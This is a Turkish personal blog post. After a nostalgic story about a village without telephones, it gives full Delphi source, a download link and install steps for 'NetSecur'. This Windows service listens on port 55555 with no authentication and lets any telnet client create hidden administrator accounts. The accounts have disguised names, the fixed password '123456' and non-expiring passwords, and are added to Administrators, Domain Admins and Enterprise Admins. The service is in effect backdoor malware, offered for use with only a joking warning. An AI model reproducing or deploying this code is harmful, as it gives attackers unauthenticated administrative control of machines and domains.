Cumartesi, Mayıs 27, 2006 - Hadi Gelin Köyümüze Geri Dönelim
Yaş 70 iş bitmiş derler ya, inanmayın. Geçenlerde yolum bir internet cafeye düştü. Gözlerime inanamadım. 70 değillerse bile en azından 50-60 yaşlarında tombul tombul ak saçlı teyzeler amcalar oturmuşlar msn.de görüntülü sesli chat yapıyorlardı. Sizin oraları bilmem ama bizim muz cumhuriyetinde alışıldık bir şey değildi.
Okul bittimi yaz tatillerinde bazen köye giderdim. Köy deyince hemen aklınıza tatil köyü gelmesin. Eski toprakların iyi bildiği yeni neslinse kıyısından köşesinden geçerken gördüğü köylerden biriydi bizim köy. Ahşaptan derme çatma toprak sıvalı yapılar, köy meydanı ve belli başlı yerlerde akan pınarlar, ardında bir kağnıyı çeken öküzler ve bilimum hayvanatlar, ekili tarlaları ile tam anlamıyla bir köydü bizim köy. İlerlemiş yaşına rağmen hala tarlada, otlakta, merada çalışan insanları gördükçe teknolojiden ve nimetlerinden yararlanmadıklarını düşünür hayıflanırdım. Elektrik vardı ama evlerde çeşme yoktu.Toprak yollar vardı ama araba yoktu. Telefon bizim şeherdeki evde bile yokken köyde olması tabiki düşünülemezdi. En çok televizyon olayına daralırdım. Renkli değildi ama bizim evde iyi kötü bir siyah beyaz televizyon vardı.
İnternet cafede gördüklerim bana maziyi hatırlattı. İnsanlar teknolojiye kolayca ayak uydurabiliyorlar. Almanya'da yaşayan akraba hısımlarıyla internet cafe aracılığıyla görüşüyorlarmış. sırf bu yüzden eve bilgisayar almayı düşünüyorlardır herhalde.
Telefonun Olmadığı Köyde TelNet Kullanmak
Teknoloji ve maziyle ilgili anlattıklarımız şimdilik yeter. Gelelim mevzuya. Windows ileri zekalı işletim sisteminde Telnet adında bir servis vardır. Uyanık olanlarımız gerekmedikçe bu servisi aktif etmeyiz. Ama bazen o kadar çok işe yarıyor ki, bununla ilgili geçmiş zamandan bir çalışmamı bu yazıya konu edecek kadar başarılı işler çıkarabiliyor.
Bu yazıda anlatılacak windows servisleri ve özellikle telnet konusunda kısmi olsa bile bilgi sahibi olduğunuzu varsayıyorum. Yok ben bunları bilmiyorum, öğrenmek istiyorum diyorsanız bildiğiniz arama motorunda "TELNET" ve "Windows services" yazın şıp diye bir sürü makale ve yazı bulursunuz.
Yıllar önce çalıştığım dükkanda uzaktan makina yönetmek ve belli başlı işleri yaptırmak için bir servis yazmıştım. Bu servisin bizim dükkanla olan ilgisini kesince ortaya güzel bir şeyler çıktı. Ortaya çıkan bu güzel şeyin ne olduğunu yazının ilerleyen satırlarında sanırım sizde anlayacaksınız....
NetSecur :
Netsecur delphi4 ile yazılmış bu yazıya konuk etmek için delphi6 ile yeniden derlenmiş bir windows servisidir. Kodların tamamı bana ait olup tepe tepe kullanmak serbesttir. Tabiki bu haliyle değilde algoritmasını alarak kullanırsanız daha faydalı olacaktır.
Bu haliyle kısaca çalışma düzeneği Şöyle ; Telnet ile netsecur servisi kurulu bir makinaya bağlanırsanız, ilgili makinaya 3 farklı yönetici hesabı ve global grup ekleyebilir yada eklediğiniz hesapları kaldırabilirsiniz. Bunu iyi amaçlar doğrultusunda kullanacağınıza eminim.
Yasal uyarı !!! bu kodlar sağlığa zararlıdır. Eğer birinin makinasına dallanmak için kullanırsanız hem bu hem öteki dünyada iki elim yakanızda olur haberiniz olsun.
Boynumun borcu yasal uyarıyı yaptıktan sonra kısaca bir kaç satır kodcuk üzerinde duralım ve daha sonra kullanma kılavuzunu birlikte yazalım.
Uygulamada TServerSocket esas oğlan rolünü kapmıştır. Uzak makina ile iletişimi kurmak için gerekli olan alt yapıyı bize sunar. Aşağıdaki kod uygulama servis olarak yüklendiğinde koşar.Servis durduruluncaya kadar (while not Terminated do) bir kısır döngü bağlantı isteklerini dinler.
procedure TNetSecurity.ServiceExecute(Sender: TService); begin try //Telnet bağlantısı için port numarası ServerSocket.Port := 55555; ServerSocket.Active := True; while not Terminated do begin ServiceThread.ProcessRequests(False); end; ServerSocket.Active := False; except; end; end;
Eğer komut isteminde : telnet makina_ip_adresi 55555 yazarsanız bir hoş geldin ekranıyla sizi karşılar. Aslında ben davul zurna veya bandoyu tercih ederdim ama çok gürültülü olacağından bununla yetindim.
procedure TNetSecurity.ServerSocketClientConnect(Sender: TObject; Socket: TCustomWinSocket); var S: String; begin S := 'Telnet Yonetici Hesabi olusturma hizmetine hos geldiniz. Yardim icin ? yazin...'+#13#10; Socket.SendText(S + ''); end;
Komut istemi satırında ? yazarsanız uzak makinaya yaptırabileceğiniz işlemler için kullanabileceğiniz komut ifadeleri gelir. Hani bizim eski dost DOS'ta yaptığımız gibi.
procedure TNetSecurity.ServerSocketClientRead(Sender: TObject; Socket: TCustomWinSocket); Var S : String; Lvl : SmallInt; C : Char; begin S := Socket.ReceiveText; C := S[1]; Lvl := -1; if C in Sayilar Then Lvl := StrToInt(C);
if AnsiCompareText(S, 'x') = 0 then begin Socket.SendText(CR+'Gule Gule...'); Socket.Close; end else if AnsiCompareText(S,'?')=0 then begin Socket.SendText(CR+'? = Yardim'+CR+ 'X = Baglantiyi Kes ve Cik'+CR+ '0 = 1 nci seviye hesap ekle (Low)'+CR+ '1 = 2 nci seviye hesap ekle (Normal'+CR+ '2 = 3 ncu seviye hesap ekle (High)'+CR+ '3 = 1 ci seviye hesabi sil(Low)'+CR+ '4 = 2 nci seviye hesabi sil (Normal)'+CR+ '5 = 3 ncu seviye hesabi sil (High)'+CR+ '6 = 1 nci seviye grup ekle'+CR+ '7 = 2 nci seviye grup ekle'+CR+ '8 = 3 ncu seviye grup ekle'+CR+NCMD) end else begin if Lvl >-1 Then begin if CreateSecret(Lvl) then Socket.SendText(CR+' Tamam...'+cr+NCMD) else Socket.SendText(CR+' Hata...'+SecurityException+cr+NCMD) end else Socket.SendText(CR+' Gecersiz komut'+cr+NCMD); end; end;
Seçtiğiniz işleme bağlı olarak vazife yerine getirilir ve sonuçla ilgili kısa bir mesaj gösterilir. (Tamam... veya Hata...)
Seçtiğiniz işlemle vazifeyi yerine getiren yöntem aşağıdakidir. Function TNetSecurity.CreateSecret(Const Level : SmallInt) : Boolean; Var flgs : TNetUserFlags; pwd : string; {Toplam 3 Hesap Kullanılıyor} UserNames: Array[0..2] of String; FullNames: Array[0..2] of String; Descr : Array[0..2] of String;
procedure SetFlg (flag : TNetUserFlag; setIt : boolean); begin if setIt then flgs := flgs + [flag] else flgs := flgs - [flag] end;
Begin Result := True; SecurityException :=''; {myAdminstrator} UserNames[0] :='myAdminstrator'; FullNames[0] :=''; Descr[0] :='Etki alani kopya yoneticisi';
{ExchangeAdmin} UserNames[1] :='ExchangeAdmin'; FullNames[1] :=''; Descr[1] :='Exchange sunucu yoneticisi';
{EnterpriseAdmin} UserNames[2] :='EnterpriseAdmin'; FullNames[2] :=''; Descr[2] :='Kurumsal Yonetici'; pwd := '123456';
TRY Case Level of 0,1,2 : {>>Hesap Ekle<<} With NetUser1 do begin NetUser1.UserName := UserNames[Level]; CreateAccount(Descr[Level],pwd); RenameAccount(UserNames[Level]); //Yönetici hesaplari icin grup tanimlamalari AddToLocalGroup('Users'); AddToLocalGroup('Administrators'); FullName :=FullNames[Level]; try flgs := Flags; SetFlg (ufAccountDisable, False); SetFlg (ufPasswordCantChange, False); SetFlg (ufLockout, False); SetFlg (ufDontExpirePassword, True); Flags := flgs; except on E:Exception do begin SecurityException := UserName[Level]+cr+E.Message; CancelUpdate; Result := False; end; end;{>>try<<} end;{>>with<<} 3,4,5 : {>> Hesap Sil <<} begin if Level=3 then NetUser1.UserName := UserNames[0] else if Level=4 then NetUser1.UserName := UserNames[1] else if Level=5 then NetUser1.UserName := UserNames[2]; NetUser1.DeleteAccount; end; 6,7,8 : {>> Gruba ekle <<} begin if Level=6 then NetUser1.UserName := UserNames[0] else if Level=7 then NetUser1.UserName := UserNames[1] else if Level=8 then NetUser1.UserName := UserNames[2]; NetUser1.AddToLocalGroup('Administrator'); NetUser1.AddToLocalGroup('Domain Admins'); NetUser1.AddToLocalGroup('Enterprise Admins'); end; end; {>>Case<<} EXCEPT on E:Exception do begin SecurityException := E.Message; Result := False; end; END; End;
Gelelim kullanma kılavuzuna. Bu uygulamada kullanılan bileşenler ve uygulamanın derlenmiş haliyle kodlarını buradan indirebilirsiniz. Eğer derlemeden bir test yapalım derseniz aşağıdaki adımları izleyin.
- Komut istemi satırına çıkıp netsecur.exe dosyasının bulunduğu klasöre zıplayın.
- Komut isteminde netsecur /install yazıp enter'layın. Servisin yüklendiğine dair bir mesaj alacaksınız.
- Denetim masasında Hizmet yönetimini başlatıp orada netsecurity servisini bularak başlatın.
- Şimdide komut isteminde telnet localhost 55555 yazarak servisi başlatın.

- Hoş geldin mesajından sonra komut isteminde ? yazarsanız Yapabileceğiniz işlemlerle bunların seçenekleri gelecek ekrana.Burdan yaptığınız seçime göre sisteminize kullanıcı hesabı ekleyebilecek veya kaldırabileceksiniz. Değişiklikleri yönetimsel araçlar bilgisayar yönetimi kullanıcılar bölümünde görebilirsiniz...
- Servisi sistemden kaldırmak için önce servisi durdurun ve komut isteminde netsecur /uninstall yazın

Böylece telefonsuz bir köy hikayesinden Telnet'li bir servis hikayesine ilerlemiş olduk. Teknoloji ilerlediğinde, bizim kafamızda bazı şeylere basmadığında, yada düz kontak yaptığında acaba bizim çocuklarımızda teknolojinin ardında kaldığımızı düşünüp hayıflanırlar mı? Tıpkı benim, dedemin at üstünde değilde uçakla seyahat etmesini istediğim ama garibin ömrünün buna yetmemesi gibi, bizim çocuklarımızda, torunlarımızda "ah keşke dedemi bir ışınlama cihazına bindirebilsek" derler mi? Kimbilir zaman gösterecek.
Hepinize sağlık, mutluluk ve esenlikler diler, işlerinizden başarı, gönüllerinizden sevecenlik eksik olmasın derim. Hoşçakalın...
|
|
Yorum yaz!
|
|
Hakkımda
Ah bir öğrensem şu bilgisayar işini. Bırakıp gideceğim bu yerleri bu işleri.
Kategoriler
Arkadaşlarım
|